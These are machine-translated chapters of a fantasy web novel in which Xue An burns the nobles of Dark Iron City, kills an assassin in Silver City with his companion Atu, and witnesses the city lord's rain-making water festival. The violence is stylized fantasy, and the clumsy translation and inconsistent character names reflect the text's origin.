    Cheng Jinyi was startled, and then said with a flattering smile: "Does a strong man like you still need a reason to kill? I..."


    I can''t say anything after that.


    Because Xue looked at him quietly, with a hint of mockery in his eyes.


    Before she knew it, Cheng Jinyi felt that her back was wet with cold sweat.


    After a while, Xue An narrowed his gaze and said coldly: "Because they are conscious of their superiority, they abuse others wantonly! And what I did is to make them understand that people must pay their due price for what they do!"


    The cold sweat on Cheng Jinyi''s face is getting more, and he can''t even wipe it off, so he can only forcefully smile and say, "What the lord said!"


    "Then you say, what price should you pay?"


    Cheng Jinyi was trembling slightly, but she still said calmly: "Big...sir, even if you kill me and Chengjia, new families will appear. This is inevitable, so you might as well stay. I, I promise to remain humble in the future."


    After that, Cheng Jinyi quietly looked at Xue An.


    Xue An is not sad or happy, and there is no emotional fluctuation.


    Cheng Jinyi couldn''t help but swallow secretly, and was about to say something.


    Xue An smiled lightly.


    "It sounds reasonable!"


    Cheng Jinyi''s hanging heart was half down.


    But the next words of Xue An made him fall into the ice cellar.


    "Unfortunately, people have to pay for what they do, no matter who it is, it is the same!"


    "No!" Cheng Jinyi noticed something wrong and turned to run.


    But as soon as he took a step, a ray of flame rose from under his feet and spread quickly.


    Cheng Jinyi screamed.


    Xue looked at him quietly, and then said lightly: "This is the flame that ignites from your soul. All the sins you do will become its fuel!"


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    The words fell, and the flame suddenly burst, and in an instant it completely covered Cheng Jinyi, and then burned it into nothingness.


    Seeing this scene, these wealthy children, who are usually aloof and reckless, all hid in the distance tremblingly, and did not even dare to look up at Xue An.


    Xue An glanced at the group of people, then waved casually.


    A ray of flame rushed over.


    "Ah ah ah ah ah!"


    Many people were swallowed by flames in an instant, and some people even screamed, "Who are you?"


    Xue An walked out the door, and said without turning back: "Me? I am your retribution!"


    Boom!


    These flames burn more vigorously.


    In an instant, most of the casualties were in the banquet hall.


    A few people stood there, looking at all this with pale faces.


    As Xue An said, these flames arise from the heart, and sin is their fuel.


    is the day. .


    There are countless deaths and injuries among the giants of the Dark Iron City.


    The news spread, and the world was shaken.

 Chapter 719： Lord of Silver City, Immortal King

    Silver City.


    Chromia carefully wiped the back of the tall body in front of her.


    On this broad back, huge radiation wounds criss-cross, and even the skin is exuding pale fluorescence.


    When the soft cotton silk scarf is dipped in precious water and rubbed on it.


    Before the water could run down, he was greedily absorbed by the skin.


    Chromia can even feel the surging power contained under this skin.


    After the wiping was finally completed, the silent servant held up the exaggerated appearance, like an upside-down scorpion armor, and carefully buckled it on his back.


    Click.


    With a crisp sound.


    The armor seemed to be inserted into the lock, and it was firmly installed on it.


    Chromia picked up the scorpion tail extending from the carapace, and then lightly clasped it on the man''s face.


    With the sound of gears turning, the scorpion''s tail began to change shape rapidly, and soon turned into a respirator with hideous teeth, and then flashed with fluorescence as the man breathed.


    Suddenly, the man opened his eyes, and the power that burst out instantly sent the servants who were wiping the carapace directly out.


    Crolia stepped aside respectfully, "My king, you are awake!"


    The man looked at Crolia, and then said in a weird voice that had been mechanically compiled: "Cronia, how long have I slept?"


    "Wang, you have been asleep for three months!"


    "Three months...is there anything abnormal outside now?"


    Chromia hesitated for a while, and then said: "King, the news that just came, the black iron city''s family and several other families have all been destroyed!"


    "Black Iron City..."


    "Yes! And the origin of this person is unknown, I suspect it is... an outsider!"


    After hearing the three words outsider, the man''s eyes flashed, and then he slowly stood up. He was three meters tall, making him look like a giant.


    Chromia even had to raise her face to see his face.


    "Notify other families to convene the Silver Council."


    "Yes!"


    Crolia went down to inform.


    The man walked out of the room and came to a high platform.


    This is the commanding height of Silver City. Standing here, you can overlook the entire city.


    Looking at the city built with white secret rocks under his feet and the large tracts of ocher wilderness in the distance, the man said in a low voice.


    "The outsider...you can cross the starry sky and come to this world. Your strength is obviously good, but why do you want to destroy the Dark Iron City? Could it be... have you found anything?"


    At this moment, many people below saw the man standing on the high platform and started to exclaim.


    "The king is awake!"


    "Our king woke up!"


    In the noise, countless people gathered under the tower and shouted excitedly.


    "The Immortal King!"


    The man smiled, then waved in greeting.


    soon.


    The news that the city lord woke up spread throughout the city of Silver.


    And all the big families in Silver City also rushed to the council hall.


    When the figure of the man appeared at the door, everyone stood up together and stroked their chests, "My king! Welcome back!"


    The man walked slowly to his seat and waved his hand.


    Everyone is seated.


    Then the man held the table with his hands, his eyes swept across the faces of everyone in the audience.


    "You did a great job when I was asleep!"


    Everyone was excited.


    Silver City Lord continued: "But this is not enough, I think you all know what happened in Dark Iron City!"


    Mentioning this incident, there was a low noise in the assembly hall.


    Then a middle-aged man got up with an extremely ugly face and said: "My king, your loyal guard, my son of the bear family, Xiong Lei, also died in the Dark Iron City!"


    "And the married family has been completely destroyed, and there are only a few rich and nobles in the Black Iron City now!"


    "I heard only one shot!"


    In these comments, City Lord Baiyin waved his hand, "This person is definitely not an ordinary person, it is very likely to be an outsider!"


    heard the three words outsider.


    There was dead silence in the assembly hall.


    Many people have a solemn face.


    Silver City Lord continued: "So starting from today, everyone must be prepared to strangle this person with all their strength."


    "Yes! My king!"


    Just when the many giants in Silver City are moving for it.


    Xue An has quietly appeared in Silver City.


    It''s just that at this time, he also put on the long robe that the locals are most used to, and he followed Atu behind him.


    does not look any different from ordinary residents.


    This is Atu��s first visit to Silver City.


    For this legendary city of choice, Atu was full of curiosity and looked around.


    I have to say that this Silver City is much stronger than Dark Iron City in terms of scale and conditions.


    Atu even saw a fountain on the Xuan Plaza that day.


    This made Atu stunned.


    Because the water sprayed from the fountain is actually secondary water.


    This is unthinkable to Atu. A few days before returning, he and his sister couldn''t even drink first-order water, so they actually used second-order water as a fountain.


    Not only that.


    Those exquisite buildings and the neatly dressed people on the streets shocked Atu.


    But Xue An frowned slightly.


    Because he can feel the weirdness of this city especially the high tower built in the middle of the city, Xue An has been watching for a long time.


    I came to Silver City because Xue An wanted to find out the root cause of this world''s decay as soon as possible.


    And this high tower further confirmed Xue An''s mind.


    At this moment, there was a sudden noise in the street.


    The crowd parted on both sides, and someone shouted with excitement: "My Lord Saint!"


    "I have seen Master Saint!"


    Following the shouts, a group of people passed through the street.


    A woman is sitting on the alien horse in the lead.


    is the maid next to the Lord Silver City, crolia.


    Since the city lord ordered everyone to prepare, Crolia began to lead people around the city to maintain order.


    Of course, this is also because of the upcoming water festival ceremony.


    The reason why these residents in Silver City were so excited after hearing the news that the city lord had awakened was because whenever the city lord woke up from a deep sleep, a water sacrifice ceremony would be held.


    At the ceremony, City Lord Silver will open the sluice and release clean and pure water that has been filtered through multiple layers and is almost radiation-free.


    This is a special benefit for residents of Silver City.


    Because of this, the Silver City Lord has such supreme prestige.


    After all, in this world, whoever controls the water source controls everything.


    Chromia was thinking about outsiders, always feeling a little uneasy. .


    But at this moment, she suddenly caught a glimpse of Atu who was standing on the street, and she couldn''t help but snorted.


    "Hey, this is..."

 Chapter 720： Water Festival Grand Ceremony

    Crolia waved her hand, the team stopped instantly, and then the guard behind her immediately rushed up, forming a semi-encircled circle, staring at Atu and Xue An with unkind expressions.


    Atu''s heart sank, and then he looked at Xue An.


    As long as Xue An speaks, he will shoot immediately.


    Atu knew very well that he didn''t come to this Silver City with an adult.


    Your lord has wiped out the giants in Dark Iron City, how can Silver City give up?


    So entering this is equivalent to entering Longtan Tiger Den.


    But Atu didn''t have the slightest fear.


    Anyway, the fate is given by an adult.


    Now that the little girl is in the magic weapon of the adult, she has no worries, what else is terrible?


    But Xue An just smiled slightly, and then shook his head gently at Atu, signalling him not to act rashly.


    At this time, Crolia urged the horse to come forward, and did not pay attention to Xue An on the side, instead focusing her attention on Atu.


    "Little samurai, what''s your name?" Crolia asked condescendingly.


    Atu who thought these people were going to disadvantage him was stunned by the question, and then said in a deep voice, "My name is Atu! Who are you? Why are you surrounding us?"


    A guard captain behind Crolia said angrily: "Laughter, how dare you talk to Master Saint like this?"


    Chromia waved her hand, motioned for her subordinates to silence, and then whispered softly, "Atu.... Hehe, aren''t you from Silver City?"


    "No!"


    "I admire your talent, would you like to join my guard?" Crolia said with a smile.


    Hearing these words, many people around their eyes became round.


    It is an extremely difficult thing to know that wanting to join the Silver City, and if you can enter the guards under the Lord Saint, it will be a good thing in one step.


    I don��t know how many people��s jealous eyes are turning blue at the moment.


    But Atu gently shook his head, "I don''t want to!"


    what?


    Everyone thought they had heard it wrong.


    Even Crolia was slightly startled, "Why? If you join my guard, you can not only participate in the water festival ceremony, but also have more development opportunities!"


    Hearing that Crolia was still persuading, the people around couldn''t help but envy even more.


    But Atu still shook his head, "Unwilling is unwilling, because I still want to follow the adults!"


    grown ups?


    Crolia looked at Xue An who was aside, and then frowned.


    In her perception, this man is unremarkable, and even the most basic talents have not been activated. This is because she has just ignored Xue An.


    Chromia is called a saint, one is because she is the first maid under the main seat of Silver City.


    �� is because of her unique talent.


    She can see what kind of talent the other party has turned on.


    This ability is terrifying.


    Because you have already grasped the first opportunity before confronting others, naturally there is no disadvantage.


    But Cronia doesn''t have any combat ability other than this talent, so she is most suitable as an support for others.


    This is also the reason why the Lord Silver City takes her so seriously.


    Just now she was passing by on the street, and suddenly felt that there was a very powerful talent among the pedestrians on the street. This urged her to recruit him immediately, but she did not expect that Atu would not join him.


    At this time, the captain of the guard who was behind Crolia was a little uncontrollable, stepped forward, and said grimly: "Boy, it''s your blessing for the saint to let you join. You dare to push three things and stop four? Do you not want to live anymore? ?"


    Facing the question of this fourth-order guard commander, Atu did not show any fear, and said coldly: "I think it should be you who don''t want to live!"


    Hearing these words, the head guard changed his expression and became angry.


    Chromia said solemnly: "Xiong Hai, step back!"


    Although the guard leader was full of resentment, he still retreated helplessly, but seeing the fierce light in his eyes, he was obviously very unconvinced.


    At this time, Crolia said: "Your talent is very good. Join my guard. You will have many possibilities. It is also the most suitable choice for you, so I think you should think about it!"


    "Don''t think about it! My Tu will never leave the lord!" A Tu said decisively.


    Crolia glanced at Xue An, who had not spoken next to him, and then nodded her face sinkingly, "Well, if you think so, then I won''t force it! Xiong Hai!"


    "My Lord Saint!" Xiong Hai stepped forward.


    "Give them two tickets to the water festival ceremony!"


    Xiong Hai thought he had heard it wrong, but why did he even give him admission tickets after being rejected?


    You need to know that one ticket to enter the water festival ceremony on the black market can already be exchanged for ten bottles of grade 5 water.


    "But, Lord Saint..."


    "Didn''t you hear it?" Crolia said solemnly.


    Xiong Hai lowered his head helplessly, "Yes!"


    Then reluctantly took out two exquisite badges, and passed them over with a gloomy expression.


    Chromia turned her horse''s head at this time and smiled at Atu, "Little samurai, I hope you can give me an answer after watching the water festival ceremony! After all, only those who have seen the ceremony can know this silver The greatness of the city!"


    Crolia said proudly, and then urged the horse to leave.


    Xiong Hai stared fiercely at Atu and Xue An beside him, and said sadly, "Boy, you wait!"


    then also left.


    Atu stood in the same place, holding the two badges in his hands and said a little bit astonished: "My lord, what does this woman mean?"


    Xue An smiled, "This woman is very smart, and she can see through the talents and abilities you have, so she naturally wants to draw you over!"


    "Then shall we go tomorrow?"


    Xue An looked at Crolia''s back and said lightly: "Go, of course I want to go!"


    And at this moment.


    After escorting Crolia back to the tower, the bear sea returned to the bear��s house with a gloomy face.


    In this Silver City, the Xiong family can be regarded as a wealthy family, otherwise he would not become the personal guard of Saint Crolia.


    "Father!" Xiong Hai Gong said.


    The head of the Xiong family is the middle-aged man on the Silver Council today.


    He nodded, "Did you find anything during the tour of the city today?"


    Xiong Hai gritted his teeth, "Father, today the Lord Saint met a young man on the street and repeatedly invited him to join my guard!"


    "Oh?" Xiong Xi frowned upon hearing this, "Youth?"


    "Correct!"


    "The saint can perceive the talents of others, so this boy must be extraordinary!"


    Xiong Hai looked gloomy at this time, stepped forward, and whispered: "Father, this young man is not from the city. Since his talent is strong, he is not as good as us..."


    Xiong Xi hesitated for a moment, and then nodded, "Your brother Xiong Lei died in the Black Iron City. I foresee that there will be a big change in the future. Now that you can increase your strength by one point is one point!"


    "That father means...".


    "Do it tonight!"


    "Understand!"

 Chapter 721： Become an insect, pinch the insect king

    There are naturally hotels in Silver City.


    But if you want to live here, it''s not cheap, you have to at least one bottle of tertiary water a night.


    That''s right.


    In this silver city, the currency in circulation is not gold and silver, but water divided into small bottles.


    A small bottle of Grade 3 water can already be exchanged for a lot of useful supplies, but it can only be used for one night here.


    This price makes Atu feel very painful.


    "My lord, this is too expensive! That''s a bottle of Grade 3 water!" Atu mumbled.


    Xue An smiled and did not speak.


    Although this Atu is no longer the poor boy in Heshan Town.


    But this obsession with resources has been engraved on his bones, and of course he cannot change it for a while.


    The conditions of this hotel are pretty good, even better than the tavern where I lived in Heshan Town.


    Moreover, the houses and cities here are built with special methods, and the radiation is already low and imperceptible.


    This is why people here believe that Silver City is the place of choice.


    Atu had been distressed about the bottle of Grade 3 water, and he was always muttering, until the hotel delivered the free meals, he stopped speaking.


    Because although the meals delivered were not rich, they were delicacies that Atu couldn''t even imagine.


    "It''s almost the same!" Atu did he feel a little more psychologically balanced.


    "My lord, please use the rice!" Atu wanted to wait for Xue An to finish eating, and then eat it himself.


    But Xue An glanced at the meat on the plate that he didn''t know was cut from a beast, and there was even blood on it.


    This gave Xue An no appetite, but shook his head, "You eat!"


    Xue An is not a problem if he doesn''t eat now, and Atu naturally saw this, so he smiled.


    "My lord, I can eat!"


    As he said, he began to devour it.


    For Xue An, the food that was not worthy even when he saw it right upright was extremely delicious in Atu''s mouth.


    Xue An watched this scene without saying a word, just smiled.


    It wasn''t until Atu wiped out all these things with his full hiccups that Xue An said lightly, "Are you full?"


    "Hmm!"


    "Then you are ready, it will be very lively tonight!"


    Atu was startled when he heard the words, "My lord, what do you mean?"


    "I guess someone will come to you soon! Go to bed early!" Xue An said, turning around and returning to his house.


    Atu walked there thinking for a moment, his face gradually becoming serious.


    Of course he would not doubt what the adults said.


    Could it have something to do with the woman you met on the street today?


    Or the Chief Guard?


    Atu was not a fool, of course, he could see that the chief guard looked at him with murderous intent in his eyes.


    Thinking of this, Atu licked the food leftovers at the corner of his mouth, and a murderous intent appeared in his eyes.


    Since childhood, fighting in the wilderness, the idea of ??the weak eating the weak has become an unbreakable truth in Atu''s heart.


    If anyone dares to come, let them know what comes and goes!


    What''s more, now that the adult is by his side, as the guard of the adult, how can these young people disturb the adult?


    Thinking about it in his heart, Atu simply brought a chair and stood in front of Xue An''s main room, sitting tightly and waiting.


    The night is gradually rising.


    The noise outside gradually disappeared.


    Silver City implements a curfew policy. After the night, except for some special places, all other places are closed.


    The streets are naturally empty.


    At this moment, Xiong Hai led a group of people to the door of the inn where Xue An lived.


    For the Xiong family, querying where an outsider lives is a piece of cake.


    When he walked around the back wall of the hotel, Xiong Hai winked at the guard behind him.


    These guards drew out the swords in their hands very tacitly.


    Xiong Hai''s eyes were fierce, and he made a gesture at his throat.


    These guards all nodded slightly.


    Xiong Hai silently jumped over the wall and entered the hotel.


    Although the accommodation is expensive, the hotel is still full of people because of the water festival ceremony.


    Xiong Hai led the guard across the floor like a ghost, and went straight to the room where Xue An and Atu lived.


    When he reached the door, Xiong Hai waved his hand, and these guards all stood holding their breath, and then quietly dispersed, encircling the suite.


    Xiong Hai listened for a while, and he could hear the long breathing sound inside, and he was obviously already asleep.


    A grinning smile appeared on Xiong Hai''s face.


    The reason why he was so cautious was completely afraid that Saint Crolia would know about it.


    But as long as this young man who didn''t know where he emerged was killed, and his talents were swallowed up, then the Lord Saint would know about it, and there was no other way.


    Thinking of this, Xiong Hai winked behind him.


    A guard slowly stepped forward, putting his hand on the door, and the door lock opened silently.


    This is a natural ability of this guard.


    Then the guard gently pushed open the door.


    Xiong Hai followed closely behind.


    But at this moment, the guard suddenly shook and then froze.


    Xiong Hai was a little surprised, but he did not dare to speak, so he stretched out his hand and gently pushed the guard.


    puff.


    With his push, the guard''s head suddenly fell, and blood splashed on Xiong Hai''s face.


    not good!


    Xiong Hai felt tight, knowing that something was not good.


    But at this moment of electric light flint, a series of blade lights appeared out of thin air, appeared directly in front of these guards, and then directly cut them in half without waiting for them to react.


    Naturally, Xiong Hai was no exception, a blade of light appeared in front of his throat.


    Xiong Hai could even feel the cold air emanating from this sword light.


    This feeling of dying made his muscles tense in an instant. At the moment when the blade was pierced by the sword, he burst into a loud shout, and his whole body split into fingernail-sized flying insects, and avoided this hit.


    This is the talent that Xiong Hai relies on to become famous.


    After avoiding the knife mang, , the transformed Xionghai directly smashed the wall and headed for Atu in the house.


    A Tu looked solemnly, and a series of blade lights superimposed out of thin air, and began to slaughter the flying insects that Xionghai had transformed.


    But no matter how slaughtered, these flying insects seem to be unaffected.


    At the same time, there was a grinning smile from Xiong Hai, "Boy, your talent is really amazing. It''s a pity that you have to die if you meet me!"


    After all, the flying insects suddenly spread, and then surrounded Atu.


    Although Atu had amazing talents, he had never encountered such a weird opponent before, and could only rely on the blade of his sword to resist erosion.


    But this is not a long-term solution.


    "Jiejie, die for me!" Xiong Hai was happy in his heart. As long as he kills this young man and swallows his perverted talent for turning swords, his strength will be greatly improved.


    But at this moment, a hand silently appeared in this insect sea, and directly caught the insect king sent by Xionghai''s spirit.

 Chapter 722： This person is provoking my bear family

    "What...what''s going on?" Xiong Hai exclaimed, and began to struggle as hard as he could, trying to break away from the control of this hand.


    But no matter what method he used, he couldn''t shake a single minute of this hand.


    On the contrary, this hand was pinched and tightened, making Xiong Hai feel the threat of death.


    "It turned out to be...you!"


    At this time, Xiong Hai finally saw that the person who grabbed him was the humble man on the street during the day.


    As soon as his thoughts turned, he understood that this man was deliberately disguising himself, he turned out to be the most powerful one.


    Once he understood this truth, Xiong Hai couldn''t help but be shocked.


    This man is definitely not simple.


    It''s a pity that he can''t send back such important news.


    Xue An sighed softly, "Do you know that it is very immoral to interrupt people to rest at night?"


    Xiong Hai''s soul trembled, "Who are you on earth?"


    Xue An smiled slightly, "Your surname is Xiong too?"


    "So what?"


    "Coincidentally, I just killed a man a few days ago, and his surname is Xiong!"


    "You are the person from Dark Iron City!" Xiong Hai shouted hoarsely.


    Unfortunately, he turned into a flying insect, even if he roared, his voice was very weak.


    Xue An nodded, his eyes cold, "You are visiting Starry Night, are you planning to kill Atu and then swallow all his talents?"


    At this moment, Xiong Hai was terrified. Hearing Xue An''s words, he couldn''t even respond.


    Xue An nodded, "Very well, it seems like that! Atu!"


    "My lord!" Atu took a step forward, wondering what Xue An called to himself.


    At the same time, Xue An suddenly squeezed the flying insect in his hand.


    "Ah ah ah ah!" Bear Sea screams, and then the sound was halted.


    Then I heard a muffled sound.


    The house full of flying insects fell to the ground and the body of Xiong Hai appeared.


    Xue An suddenly raised his hand back.


    A white light flashed and went directly into Atu''s forehead.


    Atu''s body was shocked, and he felt that a lot of things suddenly appeared in his mind.


    At this time, Xue An said calmly: "Close your eyes and concentrate, absorb all this."


    Atu hurriedly followed Xue An''s instructions and began to close his eyes and concentrate.


    After a while, he opened his eyes and his face was full of horror.


    "grown ups����."


    Xue An said: "This person has a good talent. It''s a pity to kill, so I will give it to you!"


    Xue An had already figured out the talent of this world a long time ago.


    To put it bluntly, this talent is a kind of ability attached to the human spirit.


    Therefore, Xue An directly stripped his talent from Xiong Hai''s spirit and gave it to Atu.


    Of course Atu didn''t understand all this, but it didn''t prevent him from looking at Xue An''s back with admiring eyes.


    At this time, Xue An looked at the corpse all over the floor, and with a wave of his hand, flames covered it, burning it into nothingness.


    "My lord, what shall we do? These guys have already hit the door, do you want to kill them back?" Atu asked with a murderous expression.


    As a young man struggling to survive at the bottom of this world since he was a child, Atu has never been a good baby.


    Especially now that the other party has already slammed the door, wouldn''t it be possible to forgive him if he didn''t fight back?


    Xue An just smiled when he heard the words, and then shook his head, "No need."


    Xue An had a hunch that there should be something he wanted to wait for at the water festival tomorrow.


    As for a little bear family, Xue An was really too lazy to take the initiative to deal with it.


    Atu was startled, "My lord, what are we doing now?"


    Xue An smiled and patted his shoulder lightly, "Okay, go to sleep, if you want to deal with the Xiong family, don''t be anxious at this moment, wait for tomorrow''s water festival ceremony!"


    Atu was a little confused, but Xue An''s words were imperial decree to him, so he nodded, "Yes!"


    Atu went back to his room to sleep.


    Xue An glanced at the broken walls and the empty corridor outside, a cold smile appeared at the corner of his mouth, and then turned back to the house.


    After a while, one person looked at the room where the walls had collapsed, then swallowed, turned around and ran away.


    Bear family.


    Xiong Xi, the owner of the Xiong family, always feels a little restless tonight.


    During this period of time, Xiong''s family can be described as turbulent.


    First, his beloved youngest son, Xiong Lei, who had been in charge of Xiong Gangbing independently, died in Dark Iron City.


    As a result, the Xiong family''s power was greatly impacted.


    And tonight, his eldest son Xiong Hai went out to plunder the talent of a teenager.


    Although this young man had no foundation in Silver City, his son still went with many guards.


    It stands to reason that it should be foolproof.


    But Xiong Xi always felt a little frightened, so he simply sat in the hall drinking tea and waiting.


    at last.


    The big butler of the Xiong family hurried in.


    As soon as he saw the face of his housekeeper, Xiong Xi''s heart sank, "What''s the matter? Didn''t Xiong Hai come back?"


    The housekeeper looked sad, "Patriarch, the little second from the hotel just ran over to deliver the news, and said..."


    "Say what?"


    "Young Master He... their entire army is wiped out!"


    "What?" Xiong Xi suddenly stood up, unable to believe his ears.


    "Let him come and see me!"


    Although his heartbeat was like a drum, Xiong Xi still remained calm at this time.


    quickly.


    The hotel''s second child was led in.


    "What''s the matter? In detail, you must not miss a word!" Xiong Xi sternly said.


    "Yes!"


    Because that hotel is considered a news distribution center, so many wealthy families will put their own eyes in it.


    This famous shop Xiaoer is an eyeliner cultivated by the Xiong family.


    Then the shopkeeper gave a detailed account of what happened.


    "Patriarch, after bringing someone in, I watched from a distance. At first it went smoothly, but suddenly a lot of blades appeared in the air behind, killing all the guards directly."


    "But Master avoided the blow, then turned into a swarm and rushed into the room."


    "Then what do you see?" Xiong Xi asked in a deep voice Xiao Er shook his head, "I dare not go there, but the talent of the villain is hearing, so I can hear it. I said in a surprised tone, it was you!"


    "And then?" Xiong Xi asked, frowning.


    "Then..." Xiao Er looked scared.


    "Then I heard a few screams in the room, and finally it became deadly silent."


    Xiong Xi''s face was pale, and his figure was a little shaken.


    The housekeeper hurried forward, "Patriarch!"


    Xiong Xi waved his hand, then said to Xiao Er: "Very well, you did a good job! Let''s go down first!"


    "Yes!"


    This little second is gone.


    Xiong Xi''s expression was gloomy and terrible, he suddenly slapped the table, and said madly, "This person is provoking my Xiong''s family!"

 Chapter 723： Bear family conspiracy

    "Patriarch, what shall we do now? Shall we summon the people to kill the hotel?" the housekeeper asked with murderous expression.


    Xiong Xi waved his hand, and then paced back and forth in the room.


    "Young man? It seems we all underestimated you!"


    "And you are such a master, how can you not notice the peeping of a shopkeeper?"


    "You should do it deliberately! Want to use this little second''s mouth to warn me? Or is it provoking my bear family?"


    As Xiong Xi spoke, the expression on his face changed.


    finally.


    He stopped and said gloomily: "Steward!"


    "Patriarch!" The housekeeper replied solemnly.


    "Order everyone to be prepared for tomorrow''s water festival ceremony. Also, the news tonight will spread!"


    But the housekeeper hesitated, "Patriarch, is it wrong to do this?"


    "What''s wrong?"


    "As you said, doesn''t the Lord Saint Gloria value this young man very much? If you start at the water festival ceremony, if the Lord Saint stops..."


    Xiong smiled, "You are right! But this is what I want!"


    The housekeeper was even more confused.


    Xiong Xi''s face showed resentment and ruthlessness, "Since this boy can kill my son Xiong Hai, it shows that his strength is extraordinary, and it will definitely be difficult to eradicate it with the strength of our Xiong family alone!"


    "So I have to wait until tomorrow to start at the Water Sacrifice Ceremony! At that time, I will say that this young man is the murderer who slaughtered the Dark Iron City, the outsider the Lord Lord said."


    "The Lord Saint and the city lord will definitely be furious. By then, we can get rid of this person without our Xiong family''s action!"


    Hearing Xiong Xi''s strategy, the steward bent down deeply, "Patriarch Mingjian!"


    Xiong Xi sighed after hearing this, and then shed a few tears.


    "Sigh my two sons..."


    The housekeeper also shed tears, waiting to say a few words of comfort.


    But Xiong Xi immediately said: "Go and call a few Ji concubines over. My son is gone, so I must have a few more!"


    housekeeper:"����"


    "Yes!"


    Just when Xiong Xi tried his best to give birth to a few more sons, what happened that night also spread under the guidance of the Xiong family.


    A storm is gradually brewing.


    the next day.


    Located on the square in front of the tower in the city center.


    The water festival ceremony is held here.


    Although it hasn''t officially started yet.


    But it was already full of people early here.


    On the periphery of the square, there are many soldiers guarding them, checking the people who enter the venue, and only those with admission tickets on their chests can enter.


    When Xue An and Atu arrived here, these soldiers immediately bowed down respectfully when they saw the admission ticket they were wearing.


    "My lord, come in!"


    The attitude is very different from that of ordinary people.


    Then someone specially led them into the square, through the crowd, and came to the high platform closest to the tower.


    This is the best place in the entire square.


    But because it was a little earlier, there was no one on the platform.


    But soon, people of all colors began to enter the venue.


    The high platform also became more and more lively.


    Many well-dressed wealthy children got together to talk and laugh, but no one paid attention to Xue An and Atu, but from time to time, someone would look at them with curious eyes.


    "Who are those two people over there? They seem to be raw faces?"


    "Shhh, don''t you know this? This is the young master that Master Saint met on the street yesterday!"


    "Hey, it''s him? He seems to be only eleven or twelve years old! Hey, that''s not right! Why are you all hiding such young masters? No one went up to solicit?"


    For these giants, such young masters as Atu who are valued by the saints are very worthy of recruiting.


    But this time it was uncharacteristically, everyone was hiding far away.


    "Hehe, you are really blocked! You don''t know what happened last night, right?"


    "what happened?"


    The speaker lowered his voice and whispered: "The eldest son of the Xiong family, the head guard of the saint lady, Xiong Hai, died last night!"


    "Hey! How is it possible, that Xiong Hai, I know, is a Tier 4 master with a strange talent, how could he die?"


    "Hehe, can this be a lie? It is indeed dead, and it is dead in the hotel, and a guard from the Xiong''s family died together, and the one who did it...!" Tu raised his chin.


    "It''s this boy!"


    Hearing these words, the expressions of those who did not know what happened last night all changed.


    No wonder no one dared to solicit.


    This young man killed the young man of the Xiong family. The Xiong family will never give up. Who wants to offend the Xiong family for such a young man without any basic background?


    As for Xue An on the side...


    Many people automatically ignore him.


    Because no matter how you look at it, this man doesn''t seem to be a strong man with talent.


    At this moment, there was a commotion in the crowd, and then the Xiong family boarded the high platform.


    After seeing this Xiong Family Patriarch Xiong Xi, many of the rich and powerful people looked a little weird.


    After all, the Xiong family had already killed two young and promising descendants one after another during this period of time, which was a heavy blow to the Xiong family.


    What''s more, the murderer this time was right in front of them. Many people wanted to see what Xiong Xi would look like after seeing Atu, and whether he would break out on the spot.


    But to these people''s disappointment, Xiong Xi only took a deep look at Atu, then found a seat and sat down silently.


    Such a scene made many people look at each other, seeing the surprise in each other''s eyes.


    People don''t understand why this bear family owner is so peaceful?


    But this question was quickly interrupted by the arrival of a person.


    "Master Saint!"


    "I have seen Master Saint!"


    Everyone got up to say hello and then they saw Crolia stepping onto the platform with a sinking face.


    Facing everyone''s greetings, she didn''t say a word, but quietly glanced at Xiong Xi not far away, and then focused her attention on Atu.


    Of course she knew what happened last night.


    Thinking with your toes, you can also know what Xiong Hai went to find Atu in the middle of the night.


    This made Crolia very angry.


    After all, Atu is a talent he valued, and this Xiong Hai actually wanted to kill someone to gain his talent, which was clearly defying his authority.


    But what Crolia didn''t expect was that this Atu would actually be so cruel when he shot, and directly killed Xiong Hai.


    Although such a counterattack was taken for granted, Crolia was shocked.

 Chapter 724： Water sacrifice? rain!

    The Xiong family is very powerful in the Silver City, otherwise it would not be in the Silver Council.


    Now that Xiong Hai died in the hands of this young man, the Xiong family would definitely not let it go.


    Although I admired Attu very much in his heart, Crolia decided not to care about it anymore.


    After all, compared with a rich man in Silver City, the weight of a young master is still too light.


    So after a few glances, she walked through the crowd in silence and walked into the tower.


    Seeing this scene, many people looked at Atu''s eyes worse and worse.


    But more people are still surprised by Xiong Xi''s performance.


    The Lord Saint had already made it so obvious that he didn''t care about it.


    Why is he still reluctant to do it?


    Do you want to wait until the water festival is over before taking revenge?


    In the face of these surprised gazes, Xiong Xi ignored it, only a flash of murderous intent flashed deep in his eyes.


    Atu naturally felt the abnormal atmosphere, especially the fierce light in Xiong Xi''s eyes, even fools could feel his hatred.


    Therefore, Atu walked to Xue An and said softly, "My lord, this guy should be from the Xiong family, should we do it?"


    Xue An was noncommittal, but kept looking at the tower. After a meeting, he said lightly: "Don''t worry, wait! Wait until the water festival is completed!"


    Atu nodded, then looked at Xiong Xi without showing any weakness, and sneered at him.


    Seeing Atu''s behavior, this Xiong Xi''s already ugly expression is now dripping with gloomy expression.


    The butler and others standing behind Xiong Xi couldn''t help but want to step forward, but Xiong Xi stopped him.


    Just when the atmosphere became tense.


    The crowd burst into loud cheers.


    "The King!"


    "The Immortal King!"


    Everyone looked up.


    Seeing the silver city lord appeared on the observation platform at the top of the tower.


    Seeing this strange dress of the Silver City Lord, Atu asked with some curiosity: "My lord, why is this person''s dress so weird?"


    Xue An''s expression was indifferent, "People? Haha, then look down!"


    Atu originally wanted to ask something, but at this moment.


    Just listen to the Silver City Lord waving his hand, and then shouted with a weird voice: "My people, in order to show my glory, the water sacrifice begins now!"


    Following his order, the crowd burst into cheers.


    But Atu didn''t notice any strangeness, which was a little baffling.


    "What are the cheers of these guys...huh?"


    Atu''s eyes rounded and stared at the sky blankly.


    I saw a large cloud of thick clouds appeared on the sky that was always shrouded in gray mist.


    These dark clouds gathered quickly, covering the entire square with the tower as the center, and then water droplets began to fall from the dark clouds.


    It was sparse at first, but soon, the speed of the water droplets began to increase.


    In an instant, rain curtains formed.


    At first, Atu was a little frightened, but when the water dripped on his body, he was taken aback.


    Because the water does not feel the slightest numbness after being contaminated on the body, it shows that the water has almost no radiation.


    Atu was almost stupid.


    "This... what is this?"


